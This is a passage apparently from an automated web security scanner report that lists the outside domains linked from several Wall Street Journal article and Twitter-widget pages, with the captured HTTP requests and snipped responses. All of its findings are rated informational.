The page was loaded from a URL containing a query string:

http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html?mod=WSJ_newsreel_personalFinance

The response contains the following links to other domains:

http://a2.twimg.com/profile_images/117747151/twitter_personalfin_normal.jpg
http://a2.twimg.com/profile_images/362264839/Pilon-Mary-colhed_normal.gif
http://ad.doubleclick.net/activity;src=490793;type=healt926;cat=snipp989;ord=1?
http://adsyndication.msn.com/delivery/getads.js
http://allthingsd.com/
http://allthingsd.com/?reflink=DNH_EUR&mod=WSJ_footer
http://bigcharts.marketwatch.com/
http://bigcharts.marketwatch.com/?mod=WSJ_footer
http://finance.yahoo.com/
http://ie8.smoothfusion.com/WallStreetJournal/view.aspx
http://it-jobs.fins.com/?mod=WSJ_footer
http://leadback.advertising.com/adcedge/lb?site=695501&srvc=1&betr=wsj_snippet_cs=1&betq=4544=381370
http://leadback.advertising.com/adcedge/lb?site=695501&srvc=1&betr=wsj_snippet_cs=2&betq=4544=381371
http://moneycentral.msn.com/
http://moneycentral.msn.com/investor/home.asp
http://online.barrons.com/home
http://online.barrons.com/public/main?mod=WSJ_footer
http://sales-jobs.fins.com/?mod=WSJ_footer
http://search.twitter.com/search?q=%23SALT
http://stags.peer39.net/712/trg_712.js
http://the-acap.org/acap-enabled.php?mod=WSJ_footer
http://twitter.com/WSJPersFinance
http://twitter.com/WSJPersFinance/statuses/69129691302342656
http://twitter.com/WSJPersFinance/statuses/69151015349395456
http://twitter.com/WSJPersFinance/statuses/69166154781966336
http://twitter.com/marypilon
http://twitter.com/marypilon/statuses/69058206374170624
http://twitter.com/marypilon/statuses/69139886829088768
http://twitter.com/wsj
http://vse.marketwatch.com/Game/Homepage.aspx
http://vse.marketwatch.com/Game/Homepage.aspx?mod=WSJ_footer
http://wsj.iamplify.com/?mod=WSJ_footer
http://wsjradio.com/?mod=WSJ_footer
http://www.dj.com/?mod=WSJ_footer
http://www.djreprints.com/
http://www.djreprints.com/?mod=WSJ_footer
http://www.efinancialnews.com/
http://www.facebook.com/wsjonline?mod=WSJ_footer
http://www.fins.com/
http://www.fins.com/?mod=WSJ_footer
http://www.fins.com/finance/?mod=WSJ_footer
http://www.marketwatch.com/
http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslink&mod=WSJ_footer
http://www.smartmoney.com/
http://www.smartmoney.com/?mod=WSJ_footer
http://www.wallstreetjournal.com/
http://www.wsj-asia.com/flp/about.html?mod=WSJ_footer
http://www.wsjdigital.com/?mod=WSJ_footer
http://www.wsjlocal.com/?mod=WSJ_footer
http://www.wsjradio.com/
http://www.wsjwine.com/
https://www.wsjsafehouse.com/

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:47:48 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep03 - Sat 05/14/11 - 00:18:51 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:48:03 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 149369

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
<li class="hat_tab" id="hat_tab2">
<a onclick="hat.track('MW')" href="http://www.marketwatch.com" id="hat_link2"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab3">
<a onclick="hat.track('BOL')" href="http://online.barrons.com/home" id="hat_link3"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab4">
<a onclick="hat.track('ATD')" href="http://allthingsd.com" id="hat_link4"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab6">
<a onclick="hat.track('FINS')" href="http://www.fins.com" id="hat_link5"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab7">
<a onclick="hat.track('SM')" href="http://www.smartmoney.com" id="hat_link6"></a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more0"><a href="http://bigcharts.marketwatch.com/">Big Charts</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more1"><a href="http://vse.marketwatch.com/Game/Homepage.aspx">Virtual Stock Exchange</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more8"><a href="http://www.wsjradio.com">WSJ Radio</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more9"><a href="http://www.efinancialnews.com/">Financial News</a>
...[SNIP]...
<li class="hat_drop_item lifestyleItem" id="hat_more11"><a href="http://www.wsjwine.com/">WSJ<span>
...[SNIP]...
<li class=" ">

   <a href="http://www.smartmoney.com" class="linklist_link">SmartMoney.com</a>
...[SNIP]...
your personal, non-commercial use only. To order presentation-ready copies for distribution to your colleagues, clients or customers, use the Order Reprints tool at the bottom of any article or visit
<a class="firstLink" href="http://www.djreprints.com" target="_blank">www.djreprints.com</a>
...[SNIP]...
<noscript>
   <img src="http://ad.doubleclick.net/activity;src=490793;type=healt926;cat=snipp989;ord=1?" width="1" height="1" border="0" alt=""/>
</noscript>

<img src="http://leadback.advertising.com/adcedge/lb?site=695501&srvc=1&betr=wsj_snippet_cs=1&betq=4544=381370" width="1" height="1" border="0" alt=""/>

<img src="http://leadback.advertising.com/adcedge/lb?site=695501&srvc=1&betr=wsj_snippet_cs=2&betq=4544=381371" width="1" height="1" border="0" alt=""/>
<div class="articleHeadlineBox headlineType-newswire">
...[SNIP]...
</script>
<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js">
</script>
...[SNIP]...
<p><a href="http://www.djreprints.com">www.djreprints.com</a>
...[SNIP]...
<h2><a rel="nofollow" class="yahoo" target="_blank" href="http://finance.yahoo.com" title="[Back to Yahoo! Finance]">Back To </a>
...[SNIP]...
<li><a rel="nofollow" class="msn" target="_blank" href="http://moneycentral.msn.com/" title="[Back to MSN Money]"></a></li>
   <li><h2><a rel="nofollow" target="_blank" href="http://moneycentral.msn.com/">MSN Money Homepage</a>
...[SNIP]...
<h2><a rel="nofollow" target="_blank" href="http://moneycentral.msn.com/investor/home.asp">MSN Money Investing</a>
...[SNIP]...
<li>

<a href="http://twitter.com/WSJPersFinance"> <img src="http://a2.twimg.com/profile_images/117747151/twitter_personalfin_normal.jpg" alt="http://twitter.com/WSJPersFinance" height="48" width="48"/></a>
<p><a href="http://twitter.com/WSJPersFinance"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/WSJPersFinance/statuses/69166154781966336">5 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/WSJPersFinance"> <img src="http://a2.twimg.com/profile_images/117747151/twitter_personalfin_normal.jpg" alt="http://twitter.com/WSJPersFinance" height="48" width="48"/></a>
<p><a href="http://twitter.com/WSJPersFinance"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/WSJPersFinance/statuses/69151015349395456">6 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/marypilon"> <img src="http://a2.twimg.com/profile_images/362264839/Pilon-Mary-colhed_normal.gif" alt="http://twitter.com/marypilon" height="48" width="48"/></a>
<p><a href="http://twitter.com/marypilon"><b>
...[SNIP]...
</a> <a href="http://search.twitter.com/search?q=%23SALT" onclick="pageTracker._setCustomVar(2, 'result_type', 'recent', 3);pageTracker._trackPageview('/intra/hashtag/#SALT');">#SALT</a>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/marypilon/statuses/69139886829088768">7 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/WSJPersFinance"> <img src="http://a2.twimg.com/profile_images/117747151/twitter_personalfin_normal.jpg" alt="http://twitter.com/WSJPersFinance" height="48" width="48"/></a>
<p><a href="http://twitter.com/WSJPersFinance"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/WSJPersFinance/statuses/69129691302342656">8 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/marypilon"> <img src="http://a2.twimg.com/profile_images/362264839/Pilon-Mary-colhed_normal.gif" alt="http://twitter.com/marypilon" height="48" width="48"/></a>
<p><a href="http://twitter.com/marypilon"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/marypilon/statuses/69058206374170624">12 hrs ago</a>
...[SNIP]...
<li>
<a class="followTw" href="http://twitter.com/wsj">Follow WSJ on</a>
...[SNIP]...
</div>
<a rel="entry-content" href="http://ie8.smoothfusion.com/WallStreetJournal/view.aspx">LINKS TO ACTUAL PAGE CONTAINING WEB SLICE FUNCTIONALITY.</a>
<a rel="bookmark" target="_blank" href="http://www.wallstreetjournal.com" ></a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.djreprints.com/?mod=WSJ_footer">Reprints</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.wsjdigital.com/?mod=WSJ_footer">Advertising</a>
...[SNIP]...
<li><a href="http://www.wsjlocal.com/?mod=WSJ_footer" rel="nofollow">Advertise Locally</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.dj.com/?mod=WSJ_footer">About Dow Jones</a>
...[SNIP]...
<li id="futureLeadProgLink" style="display:none;"><a href="http://www.wsj-asia.com/flp/about.html?mod=WSJ_footer" rel="nofollow">Future Leadership Program</a>
...[SNIP]...
<li><a href="https://www.wsjsafehouse.com/">SafeHouse - Send Us Information</a>
...[SNIP]...
<li><a class="icon_facebook" href="http://www.facebook.com/wsjonline?mod=WSJ_footer" target="_blank">WSJ on Facebook</a>
...[SNIP]...
<li><a href="http://wsj.iamplify.com/?mod=WSJ_footer">WSJ Digital Downloads</a>
...[SNIP]...
<li><a href="http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslink&mod=WSJ_footer">Marketwatch.com</a>
...[SNIP]...
<li><a href="http://online.barrons.com/public/main?mod=WSJ_footer">Barrons.com</a>
...[SNIP]...
<li><a href="http://www.smartmoney.com/?mod=WSJ_footer">SmartMoney.com</a>
...[SNIP]...
<li><a href="http://allthingsd.com/?reflink=DNH_EUR&mod=WSJ_footer">AllThingsD.com</a>
...[SNIP]...
<li class="fins"><a href="http://www.fins.com/?mod=WSJ_footer">FINS:</a> <a href="http://www.fins.com/finance/?mod=WSJ_footer">Finance,</a> <a href="http://it-jobs.fins.com/?mod=WSJ_footer">IT jobs,</a> <a href="http://sales-jobs.fins.com/?mod=WSJ_footer">Sales jobs</a>
...[SNIP]...
<li><a href="http://bigcharts.marketwatch.com/?mod=WSJ_footer">BigCharts.com</a>
...[SNIP]...
<li><a href="http://vse.marketwatch.com/Game/Homepage.aspx?mod=WSJ_footer">Virtual Stock Exchange</a>
...[SNIP]...
<li><a rel="nofollow" href="http://wsjradio.com?mod=WSJ_footer">WSJ Radio</a>
...[SNIP]...
<small class="acapLogo"><a href="http://the-acap.org/acap-enabled.php?mod=WSJ_footer" target="_blank"><span>
...[SNIP]...
</script>
<script type="text/javascript" src="http://stags.peer39.net/712/trg_712.js"></script>
...[SNIP]...

19.118. http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748704681904576319301584731990.html

Issue detail

The page was loaded from a URL containing a query string:

http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html?mod=WSJ_newsreel_personalFinance

The response contains the following links to other domains:

http://a2.twimg.com/profile_images/117747151/twitter_personalfin_normal.jpg
http://a2.twimg.com/profile_images/362264839/Pilon-Mary-colhed_normal.gif
http://adsyndication.msn.com/delivery/getads.js
http://allthingsd.com/
http://allthingsd.com/?reflink=DNH_EUR&mod=WSJ_footer
http://bigcharts.marketwatch.com/
http://bigcharts.marketwatch.com/?mod=WSJ_footer
http://cache-01.cleanprint.net/cp/ccg?divId=2486
http://finance.yahoo.com/
http://ie8.smoothfusion.com/WallStreetJournal/view.aspx
http://it-jobs.fins.com/?mod=WSJ_footer
http://moneycentral.msn.com/
http://moneycentral.msn.com/investor/home.asp
http://online.barrons.com/home
http://online.barrons.com/public/main?mod=WSJ_footer
http://sales-jobs.fins.com/?mod=WSJ_footer
http://search.twitter.com/search?q=%23SALT
http://stags.peer39.net/712/trg_712.js
http://the-acap.org/acap-enabled.php?mod=WSJ_footer
http://twitter.com/WSJPersFinance
http://twitter.com/WSJPersFinance/statuses/69129691302342656
http://twitter.com/WSJPersFinance/statuses/69151015349395456
http://twitter.com/WSJPersFinance/statuses/69166154781966336
http://twitter.com/marypilon
http://twitter.com/marypilon/statuses/69058206374170624
http://twitter.com/marypilon/statuses/69139886829088768
http://twitter.com/wsj
http://vse.marketwatch.com/Game/Homepage.aspx
http://vse.marketwatch.com/Game/Homepage.aspx?mod=WSJ_footer
http://wsj.iamplify.com/?mod=WSJ_footer
http://wsjradio.com/?mod=WSJ_footer
http://www.dj.com/?mod=WSJ_footer
http://www.djreprints.com/
http://www.djreprints.com/?mod=WSJ_footer
http://www.efinancialnews.com/
http://www.facebook.com/wsjonline?mod=WSJ_footer
http://www.fins.com/
http://www.fins.com/?mod=WSJ_footer
http://www.fins.com/finance/?mod=WSJ_footer
http://www.marketwatch.com/
http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslink&mod=WSJ_footer
http://www.smartmoney.com/
http://www.smartmoney.com/?mod=WSJ_footer
http://www.wallstreetjournal.com/
http://www.wsj-asia.com/flp/about.html?mod=WSJ_footer
http://www.wsjdigital.com/?mod=WSJ_footer
http://www.wsjlocal.com/?mod=WSJ_footer
http://www.wsjradio.com/
http://www.wsjwine.com/
https://www.wsjsafehouse.com/

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:37:08 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep09 - Fri 05/13/11 - 23:40:53 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 11:37:23 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 183788

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</script>
<script type="text/javascript" src="http://cache-01.cleanprint.net/cp/ccg?divId=2486"></script>
...[SNIP]...
<li class="hat_tab" id="hat_tab2">
<a onclick="hat.track('MW')" href="http://www.marketwatch.com" id="hat_link2"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab3">
<a onclick="hat.track('BOL')" href="http://online.barrons.com/home" id="hat_link3"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab4">
<a onclick="hat.track('ATD')" href="http://allthingsd.com" id="hat_link4"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab6">
<a onclick="hat.track('FINS')" href="http://www.fins.com" id="hat_link5"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab7">
<a onclick="hat.track('SM')" href="http://www.smartmoney.com" id="hat_link6"></a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more0"><a href="http://bigcharts.marketwatch.com/">Big Charts</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more1"><a href="http://vse.marketwatch.com/Game/Homepage.aspx">Virtual Stock Exchange</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more8"><a href="http://www.wsjradio.com">WSJ Radio</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more9"><a href="http://www.efinancialnews.com/">Financial News</a>
...[SNIP]...
<li class="hat_drop_item lifestyleItem" id="hat_more11"><a href="http://www.wsjwine.com/">WSJ<span>
...[SNIP]...
<li class=" ">

<a href="http://www.smartmoney.com" class="linklist_link">SmartMoney.com</a>
...[SNIP]...
your personal, non-commercial use only. To order presentation-ready copies for distribution to your colleagues, clients or customers, use the Order Reprints tool at the bottom of any article or visit
<a class="firstLink" href="http://www.djreprints.com" target="_blank">www.djreprints.com</a>
...[SNIP]...
<p><a href="http://www.djreprints.com">www.djreprints.com</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js">
</script>
...[SNIP]...
<h2><a rel="nofollow" class="yahoo" target="_blank" href="http://finance.yahoo.com" title="[Back to Yahoo! Finance]">Back To </a>
...[SNIP]...
<li><a rel="nofollow" class="msn" target="_blank" href="http://moneycentral.msn.com/" title="[Back to MSN Money]"></a></li>
<li><h2><a rel="nofollow" target="_blank" href="http://moneycentral.msn.com/">MSN Money Homepage</a>
...[SNIP]...
<h2><a rel="nofollow" target="_blank" href="http://moneycentral.msn.com/investor/home.asp">MSN Money Investing</a>
...[SNIP]...
<li>

<a href="http://twitter.com/WSJPersFinance"> <img src="http://a2.twimg.com/profile_images/117747151/twitter_personalfin_normal.jpg" alt="http://twitter.com/WSJPersFinance" height="48" width="48"/></a>
<p><a href="http://twitter.com/WSJPersFinance"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/WSJPersFinance/statuses/69166154781966336">5 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/WSJPersFinance"> <img src="http://a2.twimg.com/profile_images/117747151/twitter_personalfin_normal.jpg" alt="http://twitter.com/WSJPersFinance" height="48" width="48"/></a>
<p><a href="http://twitter.com/WSJPersFinance"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/WSJPersFinance/statuses/69151015349395456">6 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/marypilon"> <img src="http://a2.twimg.com/profile_images/362264839/Pilon-Mary-colhed_normal.gif" alt="http://twitter.com/marypilon" height="48" width="48"/></a>
<p><a href="http://twitter.com/marypilon"><b>
...[SNIP]...
</a> <a href="http://search.twitter.com/search?q=%23SALT" onclick="pageTracker._setCustomVar(2, 'result_type', 'recent', 3);pageTracker._trackPageview('/intra/hashtag/#SALT');">#SALT</a>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/marypilon/statuses/69139886829088768">6 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/WSJPersFinance"> <img src="http://a2.twimg.com/profile_images/117747151/twitter_personalfin_normal.jpg" alt="http://twitter.com/WSJPersFinance" height="48" width="48"/></a>
<p><a href="http://twitter.com/WSJPersFinance"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/WSJPersFinance/statuses/69129691302342656">7 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/marypilon"> <img src="http://a2.twimg.com/profile_images/362264839/Pilon-Mary-colhed_normal.gif" alt="http://twitter.com/marypilon" height="48" width="48"/></a>
<p><a href="http://twitter.com/marypilon"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/marypilon/statuses/69058206374170624">12 hrs ago</a>
...[SNIP]...
<li>
<a class="followTw" href="http://twitter.com/wsj">Follow WSJ on</a>
...[SNIP]...
</div>
<a rel="entry-content" href="http://ie8.smoothfusion.com/WallStreetJournal/view.aspx">LINKS TO ACTUAL PAGE CONTAINING WEB SLICE FUNCTIONALITY.</a>
<a rel="bookmark" target="_blank" href="http://www.wallstreetjournal.com" ></a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.djreprints.com/?mod=WSJ_footer">Reprints</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.wsjdigital.com/?mod=WSJ_footer">Advertising</a>
...[SNIP]...
<li><a href="http://www.wsjlocal.com/?mod=WSJ_footer" rel="nofollow">Advertise Locally</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.dj.com/?mod=WSJ_footer">About Dow Jones</a>
...[SNIP]...
<li id="futureLeadProgLink" style="display:none;"><a href="http://www.wsj-asia.com/flp/about.html?mod=WSJ_footer" rel="nofollow">Future Leadership Program</a>
...[SNIP]...
<li><a href="https://www.wsjsafehouse.com/">SafeHouse - Send Us Information</a>
...[SNIP]...
<li><a class="icon_facebook" href="http://www.facebook.com/wsjonline?mod=WSJ_footer" target="_blank">WSJ on Facebook</a>
...[SNIP]...
<li><a href="http://wsj.iamplify.com/?mod=WSJ_footer">WSJ Digital Downloads</a>
...[SNIP]...
<li><a href="http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslink&mod=WSJ_footer">Marketwatch.com</a>
...[SNIP]...
<li><a href="http://online.barrons.com/public/main?mod=WSJ_footer">Barrons.com</a>
...[SNIP]...
<li><a href="http://www.smartmoney.com/?mod=WSJ_footer">SmartMoney.com</a>
...[SNIP]...
<li><a href="http://allthingsd.com/?reflink=DNH_EUR&mod=WSJ_footer">AllThingsD.com</a>
...[SNIP]...
<li class="fins"><a href="http://www.fins.com/?mod=WSJ_footer">FINS:</a> <a href="http://www.fins.com/finance/?mod=WSJ_footer">Finance,</a> <a href="http://it-jobs.fins.com/?mod=WSJ_footer">IT jobs,</a> <a href="http://sales-jobs.fins.com/?mod=WSJ_footer">Sales jobs</a>
...[SNIP]...
<li><a href="http://bigcharts.marketwatch.com/?mod=WSJ_footer">BigCharts.com</a>
...[SNIP]...
<li><a href="http://vse.marketwatch.com/Game/Homepage.aspx?mod=WSJ_footer">Virtual Stock Exchange</a>
...[SNIP]...
<li><a rel="nofollow" href="http://wsjradio.com?mod=WSJ_footer">WSJ Radio</a>
...[SNIP]...
<small class="acapLogo"><a href="http://the-acap.org/acap-enabled.php?mod=WSJ_footer" target="_blank"><span>
...[SNIP]...
</script>
<script type="text/javascript" src="http://stags.peer39.net/712/trg_712.js"></script>
...[SNIP]...

19.119. http://online.wsj.com/internal/ModTwitWSJPersonalFin.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/internal/ModTwitWSJPersonalFin.htm

Issue detail

The page was loaded from a URL containing a query string:

http://online.wsj.com/internal/ModTwitWSJPersonalFin.htm?dojo.preventCache=1305373035593

The response contains the following links to other domains:

http://a2.twimg.com/profile_images/117747151/twitter_personalfin_normal.jpg
http://a2.twimg.com/profile_images/1186519109/1a33c7b_normal.jpg
http://twitter.com/Jonnelle
http://twitter.com/Jonnelle/statuses/69268428317409280
http://twitter.com/WSJPersFinance
http://twitter.com/WSJPersFinance/statuses/69151015349395456
http://twitter.com/WSJPersFinance/statuses/69166154781966336
http://twitter.com/WSJPersFinance/statuses/69341469080686592
http://twitter.com/WSJPersFinance/statuses/69361125787045888
http://twitter.com/cherring1
http://twitter.com/wsj

Request

GET /internal/ModTwitWSJPersonalFin.htm?dojo.preventCache=1305373035593 HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html?mod=WSJ_newsreel_personalFinance
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_dbfe=1305367748766; __utmz=1.1305367794.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1748330365.1305367794.1305367794.1305367794.1; __utmc=1; _chartbeat2=wh4hk9xmdxztvs8m; rsi_csl=lA; rsi_segs=G07608_10001; s_vnum=1307959748765%26vn%3D2; mbox=check#true#1305373092|session#1305373031354-407714#1305374892; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B%7C%7CFREEREGSCRIMCOUNT%3Dnull; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:37:17 GMT
Server: Apache
Last-Modified: Sat, 14 May 2011 11:28:17 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Cache-Control: max-age=2592000
Expires: Mon, 13 Jun 2011 11:37:17 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html
Content-Length: 3376

<div class="headlineSummary twHeadline">
<h3>Latest Tweets</h3>
</div>
<div class="twLatestTweets headlineSummary twLatestTweets-av">
<ul class="twTweetsItem">

<li>

<a href="http://twitter.com/WSJPersFinance"> <img src="http://a2.twimg.com/profile_images/117747151/twitter_personalfin_normal.jpg" alt="http://twitter.com/WSJPersFinance" height="48" width="48"/></a>
<p><a href="http://twitter.com/WSJPersFinance"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/WSJPersFinance/statuses/69361125787045888">7 min ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/WSJPersFinance"> <img src="http://a2.twimg.com/profile_images/117747151/twitter_personalfin_normal.jpg" alt="http://twitter.com/WSJPersFinance" height="48" width="48"/></a>
<p><a href="http://twitter.com/WSJPersFinance"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/WSJPersFinance/statuses/69341469080686592">1 hr ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/Jonnelle"> <img src="http://a2.twimg.com/profile_images/1186519109/1a33c7b_normal.jpg" alt="http://twitter.com/Jonnelle" height="48" width="48"/></a>
<p><a href="http://twitter.com/Jonnelle"><b>Jonnelle</b></a><span class="sourceLink">: <a href="http://twitter.com/cherring1">@cherring1</a>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/Jonnelle/statuses/69268428317409280">6 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/WSJPersFinance"> <img src="http://a2.twimg.com/profile_images/117747151/twitter_personalfin_normal.jpg" alt="http://twitter.com/WSJPersFinance" height="48" width="48"/></a>
<p><a href="http://twitter.com/WSJPersFinance"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/WSJPersFinance/statuses/69166154781966336">13 hrs ago</a>
...[SNIP]...
<li>

<a href="http://twitter.com/WSJPersFinance"> <img src="http://a2.twimg.com/profile_images/117747151/twitter_personalfin_normal.jpg" alt="http://twitter.com/WSJPersFinance" height="48" width="48"/></a>
<p><a href="http://twitter.com/WSJPersFinance"><b>
...[SNIP]...
<span class="sourceLink"><a href="http://twitter.com/WSJPersFinance/statuses/69151015349395456">14 hrs ago</a>
...[SNIP]...
<li>
<a class="followTw" href="http://twitter.com/wsj">Follow WSJ on</a>
...[SNIP]...

19.120. http://online.wsj.com/internal/ModTwitWSJPersonalFin.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/internal/ModTwitWSJPersonalFin.htm

Issue detail

The page was loaded from a URL containing a query string:

http://online.wsj.com/internal/ModTwitWSJPersonalFin.htm?dojo.preventCache=1305368302781

The response contains the following links to other domains:

http://a2.twimg.com/profile_images/117747151/twitter_personalfin_normal.jpg
http://a2.twimg.com/profile_images/1186519109/1a33c7b_normal.jpg
http://a2.twimg.com/profile_images/362264839/Pilon-Mary-colhed_normal.gif
http://search.twitter.com/search?q=%23SALT
http://twitter.com/Jonnelle
http://twitter.com/Jonnelle/statuses/69268428317409280
http://twitter.com/WSJPersFinance
http://twitter.com/WSJPersFinance/statuses/69151015349395456
http://twitter.com/WSJPersFinance/statuses/69166154781966336
http://twitter.com/WSJPersFinance/statuses/69341469080686592
http://twitter.com/cherring1
http://twitter.com/marypilon
http://twitter.com/marypilon/statuses/69139886829088768
http://twitter.com/wsj

Request

GET /internal/ModTwitWSJPersonalFin.htm?dojo.preventCache=1305368302781 HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
